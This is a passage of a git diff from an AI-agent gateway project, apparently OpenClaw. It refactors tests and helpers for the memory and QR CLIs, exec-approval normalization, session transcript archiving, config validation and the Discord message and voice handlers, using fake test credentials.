expect.any(Function) }), @@ -85,6 +87,25 @@ describe("memory cli", () => { getMemorySearchManager.mockResolvedValueOnce({ manager }); } + function setupMemoryStatusWithInactiveSecretDiagnostics(close: ReturnType) { + resolveCommandSecretRefsViaGateway.mockResolvedValueOnce({ + resolvedConfig: {}, + diagnostics: [inactiveMemorySecretDiagnostic] as string[], + }); + mockManager({ + probeVectorAvailability: vi.fn(async () => true), + status: () => makeMemoryStatus({ workspaceDir: undefined }), + close, + }); + } + + function hasLoggedInactiveSecretDiagnostic(spy: ReturnType) { + return spy.mock.calls.some( + (call: unknown[]) => + typeof call[0] === "string" && call[0].includes(inactiveMemorySecretDiagnostic), + ); + } + async function runMemoryCli(args: string[]) { const program = new Command(); program.name("test"); @@ -191,26 +212,12 @@ describe("memory cli", () => { it("logs gateway secret diagnostics for non-json status output", async () => { const close = vi.fn(async () => {}); - resolveCommandSecretRefsViaGateway.mockResolvedValueOnce({ - resolvedConfig: {}, - diagnostics: ["agents.defaults.memorySearch.remote.apiKey inactive"] as string[], - }); - mockManager({ - probeVectorAvailability: vi.fn(async () => true), - status: () => makeMemoryStatus({ workspaceDir: undefined }), - close, - }); + setupMemoryStatusWithInactiveSecretDiagnostics(close); const log = spyRuntimeLogs(); await runMemoryCli(["status"]); - expect( - log.mock.calls.some( - (call) => - typeof call[0] === "string" && - call[0].includes("agents.defaults.memorySearch.remote.apiKey inactive"), - ), - ).toBe(true); + expect(hasLoggedInactiveSecretDiagnostic(log)).toBe(true); }); it("prints vector error when unavailable", async () => { @@ -410,15 +417,7 @@ describe("memory cli", () => { it("routes gateway secret diagnostics to stderr for json status output", async () => { const close = vi.fn(async () => {}); - resolveCommandSecretRefsViaGateway.mockResolvedValueOnce({ - resolvedConfig: {}, - diagnostics: ["agents.defaults.memorySearch.remote.apiKey inactive"] as string[], - }); - mockManager({ - probeVectorAvailability: vi.fn(async () => true), - status: () => makeMemoryStatus({ workspaceDir: undefined }), - close, - }); + setupMemoryStatusWithInactiveSecretDiagnostics(close); const log = spyRuntimeLogs(); const error = spyRuntimeErrors(); @@ -426,13 +425,7 @@ describe("memory cli", () => { const payload = firstLoggedJson(log); expect(Array.isArray(payload)).toBe(true); - expect( - error.mock.calls.some( - (call) => - typeof call[0] === "string" && - call[0].includes("agents.defaults.memorySearch.remote.apiKey inactive"), - ), - ).toBe(true); + expect(hasLoggedInactiveSecretDiagnostic(error)).toBe(true); }); it("logs default message when memory manager is missing", async () => { diff --git a/src/cli/nodes-cli/register.invoke.ts b/src/cli/nodes-cli/register.invoke.ts index d23d35c9f21..fc0493734f9 100644 --- a/src/cli/nodes-cli/register.invoke.ts +++ b/src/cli/nodes-cli/register.invoke.ts @@ -9,6 +9,8 @@ import { type ExecSecurity, maxAsk, minSecurity, + normalizeExecAsk, + normalizeExecSecurity, resolveExecApprovalsFromFile, } from "../../infra/exec-approvals.js"; import { buildNodeShellCommand } from "../../infra/node-shell.js"; @@ -43,22 +45,6 @@ type ExecDefaults = { safeBins?: string[]; }; -function normalizeExecSecurity(value?: string | null): ExecSecurity | null { - const normalized = value?.trim().toLowerCase(); - if (normalized === "deny" || normalized === "allowlist" || normalized === "full") { - return normalized; - } - return null; -} - -function normalizeExecAsk(value?: string | null): ExecAsk | null { - const normalized = value?.trim().toLowerCase(); - if (normalized === "off" || normalized === "on-miss" || normalized === "always") { - return normalized as ExecAsk; - } - return null; -} - function resolveExecDefaults( cfg: ReturnType, agentId: string | undefined, diff --git a/src/cli/qr-cli.test.ts b/src/cli/qr-cli.test.ts index 97e5c1c01a7..92b4af93e2f 100644 --- a/src/cli/qr-cli.test.ts +++ b/src/cli/qr-cli.test.ts @@ -72,6 +72,32 @@ function createTailscaleRemoteRefConfig() { }; } +function createDefaultSecretProvider() { + return { + providers: { + default: { source: "env" as const }, + }, + }; +} + +function createLocalGatewayConfigWithAuth(auth: Record) { + return { + secrets: createDefaultSecretProvider(), + gateway: { + bind: "custom", + customBindHost: "gateway.local", + auth, + }, + }; +} + +function createLocalGatewayPasswordRefAuth(secretId: string) { + return { + mode: "password", + password: { source: "env", provider: "default", id: secretId }, + }; +} + describe("registerQrCli", () => { function createProgram() { const program = new Command(); @@ -88,6 +114,23 @@ describe("registerQrCli", () => { await expect(runQr(args)).rejects.toThrow("exit"); } + function parseLastLoggedQrJson() { + return JSON.parse(String(runtime.log.mock.calls.at(-1)?.[0] ?? "{}")) as { + setupCode?: string; + gatewayUrl?: string; + auth?: string; + urlSource?: string; + }; + } + + function mockTailscaleStatusLookup() { + runCommandWithTimeout.mockResolvedValue({ + code: 0, + stdout: '{"Self":{"DNSName":"ts-host.tailnet.ts.net."}}', + stderr: "", + }); + } + beforeEach(() => { vi.clearAllMocks(); vi.stubEnv("OPENCLAW_GATEWAY_TOKEN", ""); @@ -157,21 +200,11 @@ describe("registerQrCli", () => { }); it("skips local password SecretRef resolution when --token override is provided", async () => { - loadConfig.mockReturnValue({ - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - bind: "custom", - customBindHost: "gateway.local", - auth: { - mode: "password", - password: { source: "env", provider: "default", id: "MISSING_LOCAL_GATEWAY_PASSWORD" }, - }, - }, - }); + loadConfig.mockReturnValue( + createLocalGatewayConfigWithAuth( + createLocalGatewayPasswordRefAuth("MISSING_LOCAL_GATEWAY_PASSWORD"), + ), + ); await runQr(["--setup-code-only", "--token", "override-token"]); @@ -184,21 +217,11 @@ describe("registerQrCli", () => { it("resolves local gateway auth password SecretRefs before setup code generation", async () => { vi.stubEnv("QR_LOCAL_GATEWAY_PASSWORD", "local-password-secret"); - loadConfig.mockReturnValue({ - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - bind: "custom", - customBindHost: "gateway.local", - auth: { - mode: "password", - password: { source: "env", provider: "default", id: "QR_LOCAL_GATEWAY_PASSWORD" }, - }, - }, - }); + loadConfig.mockReturnValue( + createLocalGatewayConfigWithAuth( + createLocalGatewayPasswordRefAuth("QR_LOCAL_GATEWAY_PASSWORD"), + ), + ); await runQr(["--setup-code-only"]); @@ -212,21 +235,11 @@ describe("registerQrCli", () => { it("uses OPENCLAW_GATEWAY_PASSWORD without resolving local password SecretRef", async () => { vi.stubEnv("OPENCLAW_GATEWAY_PASSWORD", "password-from-env"); - loadConfig.mockReturnValue({ - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - bind: "custom", - customBindHost: "gateway.local", - auth: { - mode: "password", - password: { source: "env", provider: "default", id: "MISSING_LOCAL_GATEWAY_PASSWORD" }, - }, - }, - }); + loadConfig.mockReturnValue( + createLocalGatewayConfigWithAuth( + createLocalGatewayPasswordRefAuth("MISSING_LOCAL_GATEWAY_PASSWORD"), + ), + ); await runQr(["--setup-code-only"]); @@ -239,22 +252,13 @@ describe("registerQrCli", () => { }); it("does not resolve local password SecretRef when auth mode is token", async () => { - loadConfig.mockReturnValue({ - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - bind: "custom", - customBindHost: "gateway.local", - auth: { - mode: "token", - token: "token-123", - password: { source: "env", provider: "default", id: "MISSING_LOCAL_GATEWAY_PASSWORD" }, - }, - }, - }); + loadConfig.mockReturnValue( + createLocalGatewayConfigWithAuth({ + mode: "token", + token: "token-123", + password: { source: "env", provider: "default", id: "MISSING_LOCAL_GATEWAY_PASSWORD" }, + }), + ); await runQr(["--setup-code-only"]); @@ -268,20 +272,11 @@ describe("registerQrCli", () => { it("resolves local password SecretRef when auth mode is inferred", async () => { vi.stubEnv("QR_INFERRED_GATEWAY_PASSWORD", "inferred-password"); - loadConfig.mockReturnValue({ - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - bind: "custom", - customBindHost: "gateway.local", - auth: { - password: { source: "env", provider: "default", id: "QR_INFERRED_GATEWAY_PASSWORD" }, - }, - }, - }); + loadConfig.mockReturnValue( + createLocalGatewayConfigWithAuth({ + password: { source: "env", provider: "default", id: "QR_INFERRED_GATEWAY_PASSWORD" }, + }), + ); await runQr(["--setup-code-only"]); @@ -390,20 +385,11 @@ describe("registerQrCli", () => { { name: "when tailscale is configured", withTailscale: true }, ])("reports gateway.remote.url as source in --remote json output ($name)", async (testCase) => { loadConfig.mockReturnValue(createRemoteQrConfig({ withTailscale: testCase.withTailscale })); - runCommandWithTimeout.mockResolvedValue({ - code: 0, - stdout: '{"Self":{"DNSName":"ts-host.tailnet.ts.net."}}', - stderr: "", - }); + mockTailscaleStatusLookup(); await runQr(["--json", "--remote"]); - const payload = JSON.parse(String(runtime.log.mock.calls.at(-1)?.[0] ?? "{}")) as { - setupCode?: string; - gatewayUrl?: string; - auth?: string; - urlSource?: string; - }; + const payload = parseLastLoggedQrJson(); expect(payload.gatewayUrl).toBe("wss://remote.example.com:444"); expect(payload.auth).toBe("token"); expect(payload.urlSource).toBe("gateway.remote.url"); @@ -416,20 +402,11 @@ describe("registerQrCli", () => { resolvedConfig: createRemoteQrConfig(), diagnostics: ["gateway.remote.password inactive"] as string[], }); - runCommandWithTimeout.mockResolvedValue({ - code: 0, - stdout: '{"Self":{"DNSName":"ts-host.tailnet.ts.net."}}', - stderr: "", - }); + mockTailscaleStatusLookup(); await runQr(["--json", "--remote"]); - const payload = JSON.parse(String(runtime.log.mock.calls.at(-1)?.[0] ?? "{}")) as { - setupCode?: string; - gatewayUrl?: string; - auth?: string; - urlSource?: string; - }; + const payload = parseLastLoggedQrJson(); expect(payload.gatewayUrl).toBe("wss://remote.example.com:444"); expect( runtime.error.mock.calls.some((call) => diff --git a/src/config/sessions/store.ts b/src/config/sessions/store.ts index 96eea548598..9984752985d 100644 --- a/src/config/sessions/store.ts +++ b/src/config/sessions/store.ts @@ -405,20 +405,15 @@ async function saveSessionStoreUnlocked( .map((entry) => entry?.sessionId) .filter((id): id is string => Boolean(id)), ); - for (const [sessionId, sessionFile] of removedSessionFiles) { - if (referencedSessionIds.has(sessionId)) { - continue; - } - const archived = archiveSessionTranscripts({ - sessionId, - storePath, - sessionFile, - reason: "deleted", - restrictToStoreDir: true, - }); - for (const archivedPath of archived) { - archivedDirs.add(path.dirname(archivedPath)); - } + const archivedForDeletedSessions = archiveRemovedSessionTranscripts({ + removedSessionFiles, + referencedSessionIds, + storePath, + reason: "deleted", + restrictToStoreDir: true, + }); + for (const archivedDir of archivedForDeletedSessions) { + archivedDirs.add(archivedDir); } if (archivedDirs.size > 0 || maintenance.resetArchiveRetentionMs != null) { const targetDirs = @@ -574,6 +569,32 @@ function rememberRemovedSessionFile( } } +export function archiveRemovedSessionTranscripts(params: { + removedSessionFiles: Iterable<[string, string | undefined]>; + referencedSessionIds: ReadonlySet; + storePath: string; + reason: "deleted" | "reset"; + restrictToStoreDir?: boolean; +}): Set { + const archivedDirs = new Set(); + for (const [sessionId, sessionFile] of params.removedSessionFiles) { + if (params.referencedSessionIds.has(sessionId)) { + continue; + } + const archived = archiveSessionTranscripts({ + sessionId, + storePath: params.storePath, + sessionFile, + reason: params.reason, + restrictToStoreDir: params.restrictToStoreDir, + }); + for (const archivedPath of archived) { + archivedDirs.add(path.dirname(archivedPath)); + } + } + return archivedDirs; +} + async function writeSessionStoreAtomic(params: { storePath: string; store: Record; diff --git a/src/config/validation.ts b/src/config/validation.ts index f6687e172bb..90d733e0818 100644 --- a/src/config/validation.ts +++ b/src/config/validation.ts @@ -285,7 +285,7 @@ export function validateConfigObject( }; } -export function validateConfigObjectWithPlugins(raw: unknown): +type ValidateConfigWithPluginsResult = | { ok: true; config: OpenClawConfig; @@ -295,38 +295,20 @@ export function validateConfigObjectWithPlugins(raw: unknown): ok: false; issues: ConfigValidationIssue[]; warnings: ConfigValidationIssue[]; - } { + }; + +export function validateConfigObjectWithPlugins(raw: unknown): ValidateConfigWithPluginsResult { return validateConfigObjectWithPluginsBase(raw, { applyDefaults: true }); } -export function validateConfigObjectRawWithPlugins(raw: unknown): - | { - ok: true; - config: OpenClawConfig; - warnings: ConfigValidationIssue[]; - } - | { - ok: false; - issues: ConfigValidationIssue[]; - warnings: ConfigValidationIssue[]; - } { +export function validateConfigObjectRawWithPlugins(raw: unknown): ValidateConfigWithPluginsResult { return validateConfigObjectWithPluginsBase(raw, { applyDefaults: false }); } function validateConfigObjectWithPluginsBase( raw: unknown, opts: { applyDefaults: boolean }, -): - | { - ok: true; - config: OpenClawConfig; - warnings: ConfigValidationIssue[]; - } - | { - ok: false; - issues: ConfigValidationIssue[]; - warnings: ConfigValidationIssue[]; - } { +): ValidateConfigWithPluginsResult { const base = opts.applyDefaults ? validateConfigObject(raw) : validateConfigObjectRaw(raw); if (!base.ok) { return { ok: false, issues: base.issues, warnings: [] }; diff --git a/src/config/zod-schema.secret-input-validation.ts b/src/config/zod-schema.secret-input-validation.ts index f033b266889..3426e61d15f 100644 --- a/src/config/zod-schema.secret-input-validation.ts +++ b/src/config/zod-schema.secret-input-validation.ts @@ -25,6 +25,21 @@ type SlackConfigLike = { accounts?: Record; }; +function forEachEnabledAccount( + accounts: Record | undefined, + run: (accountId: string, account: T) => void, +): void { + if (!accounts) { + return; + } + for (const [accountId, account] of Object.entries(accounts)) { + if (!account || account.enabled === false) { + continue; + } + run(accountId, account); + } +} + export function validateTelegramWebhookSecretRequirements( value: TelegramConfigLike, ctx: z.RefinementCtx, @@ -38,20 +53,11 @@ export function validateTelegramWebhookSecretRequirements( path: ["webhookSecret"], }); } - if (!value.accounts) { - return; - } - for (const [accountId, account] of Object.entries(value.accounts)) { - if (!account) { - continue; - } - if (account.enabled === false) { - continue; - } + forEachEnabledAccount(value.accounts, (accountId, account) => { const accountWebhookUrl = typeof account.webhookUrl === "string" ? account.webhookUrl.trim() : ""; if (!accountWebhookUrl) { - continue; + return; } const hasAccountSecret = hasConfiguredSecretInput(account.webhookSecret); if (!hasAccountSecret && !hasBaseWebhookSecret) { @@ -62,7 +68,7 @@ export function validateTelegramWebhookSecretRequirements( path: ["accounts", accountId, "webhookSecret"], }); } - } + }); } export function validateSlackSigningSecretRequirements( @@ -77,20 +83,11 @@ export function validateSlackSigningSecretRequirements( path: ["signingSecret"], }); } - if (!value.accounts) { - return; - } - for (const [accountId, account] of Object.entries(value.accounts)) { - if (!account) { - continue; - } - if (account.enabled === false) { - continue; - } + forEachEnabledAccount(value.accounts, (accountId, account) => { const accountMode = account.mode === "http" || account.mode === "socket" ? account.mode : baseMode; if (accountMode !== "http") { - continue; + return; } const accountSecret = account.signingSecret ?? value.signingSecret; if (!hasConfiguredSecretInput(accountSecret)) { @@ -101,5 +98,5 @@ export function validateSlackSigningSecretRequirements( path: ["accounts", accountId, "signingSecret"], }); } - } + }); } diff --git a/src/cron/isolated-agent.skips-delivery-without-whatsapp-recipient-besteffortdeliver-true.test.ts b/src/cron/isolated-agent.skips-delivery-without-whatsapp-recipient-besteffortdeliver-true.test.ts index e9dceba6365..bc763a7a588 100644 --- a/src/cron/isolated-agent.skips-delivery-without-whatsapp-recipient-besteffortdeliver-true.test.ts +++ b/src/cron/isolated-agent.skips-delivery-without-whatsapp-recipient-besteffortdeliver-true.test.ts @@ -1,8 +1,6 @@ import "./isolated-agent.mocks.js"; import fs from "node:fs/promises"; -import os from "node:os"; -import path from "node:path"; -import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; import { runSubagentAnnounceFlow } from "../agents/subagent-announce.js"; import type { CliDeps } from "../cli/deps.js"; import { @@ -12,72 +10,15 @@ import { runTelegramAnnounceTurn, } from "./isolated-agent.delivery.test-helpers.js"; import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; -import { makeCfg, makeJob, writeSessionStore } from "./isolated-agent.test-harness.js"; +import { + makeCfg, + makeJob, + withTempCronHome as withTempHome, + writeSessionStore, +} from "./isolated-agent.test-harness.js"; import { setupIsolatedAgentTurnMocks } from "./isolated-agent.test-setup.js"; -type HomeEnvSnapshot = { - HOME: string | undefined; - USERPROFILE: string | undefined; - HOMEDRIVE: string | undefined; - HOMEPATH: string | undefined; - OPENCLAW_HOME: string | undefined; - OPENCLAW_STATE_DIR: string | undefined; -}; - const TELEGRAM_TARGET = { mode: "announce", channel: "telegram", to: "123" } as const; -let suiteTempHomeRoot = ""; -let suiteTempHomeCaseId = 0; - -function snapshotHomeEnv(): HomeEnvSnapshot { - return { - HOME: process.env.HOME, - USERPROFILE: process.env.USERPROFILE, - HOMEDRIVE: process.env.HOMEDRIVE, - HOMEPATH: process.env.HOMEPATH, - OPENCLAW_HOME: process.env.OPENCLAW_HOME, - OPENCLAW_STATE_DIR: process.env.OPENCLAW_STATE_DIR, - }; -} - -function restoreHomeEnv(snapshot: HomeEnvSnapshot) { - const restoreValue = (key: keyof HomeEnvSnapshot) => { - const value = snapshot[key]; - if (value === undefined) { - delete process.env[key]; - } else { - process.env[key] = value; - } - }; - restoreValue("HOME"); - restoreValue("USERPROFILE"); - restoreValue("HOMEDRIVE"); - restoreValue("HOMEPATH"); - restoreValue("OPENCLAW_HOME"); - restoreValue("OPENCLAW_STATE_DIR"); -} - -async function withTempHome(fn: (home: string) => Promise): Promise { - const home = path.join(suiteTempHomeRoot, `case-${suiteTempHomeCaseId++}`); - await fs.mkdir(path.join(home, ".openclaw", "agents", "main", "sessions"), { recursive: true }); - const snapshot = snapshotHomeEnv(); - process.env.HOME = home; - process.env.USERPROFILE = home; - delete process.env.OPENCLAW_HOME; - process.env.OPENCLAW_STATE_DIR = path.join(home, ".openclaw"); - if (process.platform === "win32") { - const parsed = path.parse(home); - if (parsed.root) { - process.env.HOMEDRIVE = parsed.root.replace(/[\\/]+$/, ""); - process.env.HOMEPATH = home.slice(process.env.HOMEDRIVE.length) || "\\"; - } - } - try { - return await fn(home); - } finally { - restoreHomeEnv(snapshot); - } -} - async function runExplicitTelegramAnnounceTurn(params: { home: string; storePath: string; @@ -264,19 +205,6 @@ async function assertExplicitTelegramTargetAnnounce(params: { } describe("runCronIsolatedAgentTurn", () => { - beforeAll(async () => { - suiteTempHomeRoot = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-cron-delivery-suite-")); - }); - - afterAll(async () => { - if (!suiteTempHomeRoot) { - return; - } - await fs.rm(suiteTempHomeRoot, { recursive: true, force: true }); - suiteTempHomeRoot = ""; - suiteTempHomeCaseId = 0; - }); - beforeEach(() => { setupIsolatedAgentTurnMocks(); }); diff --git a/src/cron/isolated-agent.uses-last-non-empty-agent-text-as.test.ts b/src/cron/isolated-agent.uses-last-non-empty-agent-text-as.test.ts index 2ef6df271d5..2a4b786f99c 100644 --- a/src/cron/isolated-agent.uses-last-non-empty-agent-text-as.test.ts +++ b/src/cron/isolated-agent.uses-last-non-empty-agent-text-as.test.ts @@ -1,8 +1,7 @@ import "./isolated-agent.mocks.js"; import fs from "node:fs/promises"; -import os from "node:os"; import path from "node:path"; -import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; import { loadModelCatalog } from "../agents/model-catalog.js"; import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; import type { CliDeps } from "../cli/deps.js"; @@ -10,73 +9,12 @@ import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; import { makeCfg, makeJob, + withTempCronHome as withTempHome, writeSessionStore, writeSessionStoreEntries, } from "./isolated-agent.test-harness.js"; import type { CronJob } from "./types.js"; -type HomeEnvSnapshot = { - HOME: string | undefined; - USERPROFILE: string | undefined; - HOMEDRIVE: string | undefined; - HOMEPATH: string | undefined; - OPENCLAW_HOME: string | undefined; - OPENCLAW_STATE_DIR: string | undefined; -}; - -let suiteTempHomeRoot = ""; -let suiteTempHomeCaseId = 0; - -function snapshotHomeEnv(): HomeEnvSnapshot { - return { - HOME: process.env.HOME, - USERPROFILE: process.env.USERPROFILE, - HOMEDRIVE: process.env.HOMEDRIVE, - HOMEPATH: process.env.HOMEPATH, - OPENCLAW_HOME: process.env.OPENCLAW_HOME, - OPENCLAW_STATE_DIR: process.env.OPENCLAW_STATE_DIR, - }; -} - -function restoreHomeEnv(snapshot: HomeEnvSnapshot) { - const restoreValue = (key: keyof HomeEnvSnapshot) => { - const value = snapshot[key]; - if (value === undefined) { - delete process.env[key]; - } else { - process.env[key] = value; - } - }; - restoreValue("HOME"); - restoreValue("USERPROFILE"); - restoreValue("HOMEDRIVE"); - restoreValue("HOMEPATH"); - restoreValue("OPENCLAW_HOME"); - restoreValue("OPENCLAW_STATE_DIR"); -} - -async function withTempHome(fn: (home: string) => Promise): Promise { - const home = path.join(suiteTempHomeRoot, `case-${suiteTempHomeCaseId++}`); - await fs.mkdir(path.join(home, ".openclaw", "agents", "main", "sessions"), { recursive: true }); - const snapshot = snapshotHomeEnv(); - process.env.HOME = home; - process.env.USERPROFILE = home; - delete process.env.OPENCLAW_HOME; - process.env.OPENCLAW_STATE_DIR = path.join(home, ".openclaw"); - if (process.platform === "win32") { - const parsed = path.parse(home); - if (parsed.root) { - process.env.HOMEDRIVE = parsed.root.replace(/[\\/]+$/, ""); - process.env.HOMEPATH = home.slice(process.env.HOMEDRIVE.length) || "\\"; - } - } - try { - return await fn(home); - } finally { - restoreHomeEnv(snapshot); - } -} - function makeDeps(): CliDeps { return { sendMessageSlack: vi.fn(), @@ -224,19 +162,6 @@ async function runStoredOverrideAndExpectModel(params: { } describe("runCronIsolatedAgentTurn", () => { - beforeAll(async () => { - suiteTempHomeRoot = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-cron-turn-suite-")); - }); - - afterAll(async () => { - if (!suiteTempHomeRoot) { - return; - } - await fs.rm(suiteTempHomeRoot, { recursive: true, force: true }); - suiteTempHomeRoot = ""; - suiteTempHomeCaseId = 0; - }); - beforeEach(() => { vi.mocked(runEmbeddedPiAgent).mockClear(); vi.mocked(loadModelCatalog).mockResolvedValue([]); diff --git a/src/cron/session-reaper.ts b/src/cron/session-reaper.ts index fa12caa2f56..dd0094d4c57 100644 --- a/src/cron/session-reaper.ts +++ b/src/cron/session-reaper.ts @@ -6,14 +6,14 @@ * run records. The base session (`...:cron:`) is kept as-is. */ -import path from "node:path"; import { parseDurationMs } from "../cli/parse-duration.js"; -import { loadSessionStore, updateSessionStore } from "../config/sessions.js"; -import type { CronConfig } from "../config/types.cron.js"; import { - archiveSessionTranscripts, - cleanupArchivedSessionTranscripts, -} from "../gateway/session-utils.fs.js"; + archiveRemovedSessionTranscripts, + loadSessionStore, + updateSessionStore, +} from "../config/sessions.js"; +import type { CronConfig } from "../config/types.cron.js"; +import { cleanupArchivedSessionTranscripts } from "../gateway/session-utils.fs.js"; import { isCronRunSessionKey } from "../sessions/session-key-utils.js"; import type { Logger } from "./service/state.js"; @@ -116,22 +116,13 @@ export async function sweepCronRunSessions(params: { .map((entry) => entry?.sessionId) .filter((id): id is string => Boolean(id)), ); - const archivedDirs = new Set(); - for (const [sessionId, sessionFile] of prunedSessions) { - if (referencedSessionIds.has(sessionId)) { - continue; - } - const archived = archiveSessionTranscripts({ - sessionId, - storePath, - sessionFile, - reason: "deleted", - restrictToStoreDir: true, - }); - for (const archivedPath of archived) { - archivedDirs.add(path.dirname(archivedPath)); - } - } + const archivedDirs = archiveRemovedSessionTranscripts({ + removedSessionFiles: prunedSessions, + referencedSessionIds, + storePath, + reason: "deleted", + restrictToStoreDir: true, + }); if (archivedDirs.size > 0) { await cleanupArchivedSessionTranscripts({ directories: [...archivedDirs], diff --git a/src/discord/monitor/message-handler.preflight.test.ts b/src/discord/monitor/message-handler.preflight.test.ts index 9a2fb11eebf..ac2ab57e283 100644 --- a/src/discord/monitor/message-handler.preflight.test.ts +++ b/src/discord/monitor/message-handler.preflight.test.ts @@ -21,6 +21,12 @@ import { createThreadBindingManager, } from "./thread-bindings.js"; +type DiscordConfig = NonNullable< + import("../../config/config.js").OpenClawConfig["channels"] +>["discord"]; +type DiscordMessageEvent = import("./listeners.js").DiscordMessageEvent; +type DiscordClient = import("@buape/carbon").Client; + function createThreadBinding( overrides?: Partial< import("../../infra/outbound/session-binding-service.js").SessionBindingRecord @@ -48,6 +54,34 @@ function createThreadBinding( } satisfies import("../../infra/outbound/session-binding-service.js").SessionBindingRecord; } +function createPreflightArgs(params: { + cfg: import("../../config/config.js").OpenClawConfig; + discordConfig: DiscordConfig; + data: DiscordMessageEvent; + client: DiscordClient; +}): Parameters[0] { + return { + cfg: params.cfg, + discordConfig: params.discordConfig, + accountId: "default", + token: "token", + runtime: {} as import("../../runtime.js").RuntimeEnv, + botUserId: "openclaw-bot", + guildHistories: new Map(), + historyLimit: 0, + mediaMaxBytes: 1_000_000, + textLimit: 2_000, + replyToMode: "all", + dmEnabled: true, + groupDmEnabled: true, + ackReactionScope: "direct", + groupPolicy: "open", + threadBindings: createNoopThreadBindingManager("default"), + data: params.data, + client: params.client, + }; +} + describe("resolvePreflightMentionRequirement", () => { it("requires mention when config requires mention and thread is not bound", () => { expect( @@ -312,42 +346,30 @@ describe("preflightDiscordMessage", () => { resolveByConversation: (ref) => (ref.conversationId === threadId ? threadBinding : null), }); - const result = await preflightDiscordMessage({ - cfg: { - session: { - mainKey: "main", - scope: "per-sender", - }, - } as import("../../config/config.js").OpenClawConfig, - discordConfig: { - allowBots: true, - } as NonNullable["discord"], - accountId: "default", - token: "token", - runtime: {} as import("../../runtime.js").RuntimeEnv, - botUserId: "openclaw-bot", - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 1_000_000, - textLimit: 2_000, - replyToMode: "all", - dmEnabled: true, - groupDmEnabled: true, - ackReactionScope: "direct", - groupPolicy: "open", - threadBindings: createNoopThreadBindingManager("default"), - data: { - channel_id: threadId, - guild_id: "guild-1", - guild: { - id: "guild-1", - name: "Guild One", - }, - author: message.author, - message, - } as unknown as import("./listeners.js").DiscordMessageEvent, - client, - }); + const result = await preflightDiscordMessage( + createPreflightArgs({ + cfg: { + session: { + mainKey: "main", + scope: "per-sender", + }, + } as import("../../config/config.js").OpenClawConfig, + discordConfig: { + allowBots: true, + } as DiscordConfig, + data: { + channel_id: threadId, + guild_id: "guild-1", + guild: { + id: "guild-1", + name: "Guild One", + }, + author: message.author, + message, + } as unknown as DiscordMessageEvent, + client, + }), + ); expect(result).not.toBeNull(); expect(result?.boundSessionKey).toBe(threadBinding.targetSessionKey); @@ -768,47 +790,33 @@ describe("preflightDiscordMessage", () => { }, } as unknown as import("@buape/carbon").Message; - const result = await preflightDiscordMessage({ - cfg: { - session: { - mainKey: "main", - scope: "per-sender", - }, - messages: { - groupChat: { - mentionPatterns: ["openclaw"], + const result = await preflightDiscordMessage( + createPreflightArgs({ + cfg: { + session: { + mainKey: "main", + scope: "per-sender", }, - }, - } as import("../../config/config.js").OpenClawConfig, - discordConfig: {} as NonNullable< - import("../../config/config.js").OpenClawConfig["channels"] - >["discord"], - accountId: "default", - token: "token", - runtime: {} as import("../../runtime.js").RuntimeEnv, - botUserId: "openclaw-bot", - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 1_000_000, - textLimit: 2_000, - replyToMode: "all", - dmEnabled: true, - groupDmEnabled: true, - ackReactionScope: "direct", - groupPolicy: "open", - threadBindings: createNoopThreadBindingManager("default"), - data: { - channel_id: channelId, - guild_id: "guild-1", - guild: { - id: "guild-1", - name: "Guild One", - }, - author: message.author, - message, - } as unknown as import("./listeners.js").DiscordMessageEvent, - client, - }); + messages: { + groupChat: { + mentionPatterns: ["openclaw"], + }, + }, + } as import("../../config/config.js").OpenClawConfig, + discordConfig: {} as DiscordConfig, + data: { + channel_id: channelId, + guild_id: "guild-1", + guild: { + id: "guild-1", + name: "Guild One", + }, + author: message.author, + message, + } as unknown as DiscordMessageEvent, + client, + }), + ); expect(transcribeFirstAudioMock).toHaveBeenCalledTimes(1); expect(transcribeFirstAudioMock).toHaveBeenCalledWith( diff --git a/src/discord/voice/manager.e2e.test.ts b/src/discord/voice/manager.e2e.test.ts index 3031b3d98cd..ff1aca6ca25 100644 --- a/src/discord/voice/manager.e2e.test.ts +++ b/src/discord/voice/manager.e2e.test.ts @@ -199,6 +199,30 @@ describe("DiscordVoiceManager", () => { ); }; + type ProcessSegmentInvoker = { + processSegment: (params: { + entry: unknown; + wavPath: string; + userId: string; + durationSeconds: number; + }) => Promise; + }; + + const processVoiceSegment = async ( + manager: InstanceType, + userId: string, + ) => + await (manager as unknown as ProcessSegmentInvoker).processSegment({ + entry: { + guildId: "g1", + channelId: "c1", + route: { sessionKey: "discord:g1:c1", agentId: "agent-1" }, + }, + wavPath: "/tmp/test.wav", + userId, + durationSeconds: 1.2, + }); + it("keeps the new session when an old disconnected handler fires", async () => { const oldConnection = createConnectionMock(); const newConnection = createConnectionMock(); @@ -298,25 +322,7 @@ describe("DiscordVoiceManager", () => { }, }); const manager = createManager({ allowFrom: ["discord:u-owner"] }, client); - await ( - manager as unknown as { - processSegment: (params: { - entry: unknown; - wavPath: string; - userId: string; - durationSeconds: number; - }) => Promise; - } - ).processSegment({ - entry: { - guildId: "g1", - channelId: "c1", - route: { sessionKey: "discord:g1:c1", agentId: "agent-1" }, - }, - wavPath: "/tmp/test.wav", - userId: "u-owner", - durationSeconds: 1.2, - }); + await processVoiceSegment(manager, "u-owner"); const commandArgs = agentCommandMock.mock.calls.at(-1)?.[0] as | { senderIsOwner?: boolean } @@ -336,25 +342,7 @@ describe("DiscordVoiceManager", () => { }, }); const manager = createManager({ allowFrom: ["discord:u-owner"] }, client); - await ( - manager as unknown as { - processSegment: (params: { - entry: unknown; - wavPath: string; - userId: string; - durationSeconds: number; - }) => Promise; - } - ).processSegment({ - entry: { - guildId: "g1", - channelId: "c1", - route: { sessionKey: "discord:g1:c1", agentId: "agent-1" }, - }, - wavPath: "/tmp/test.wav", - userId: "u-guest", - durationSeconds: 1.2, - }); 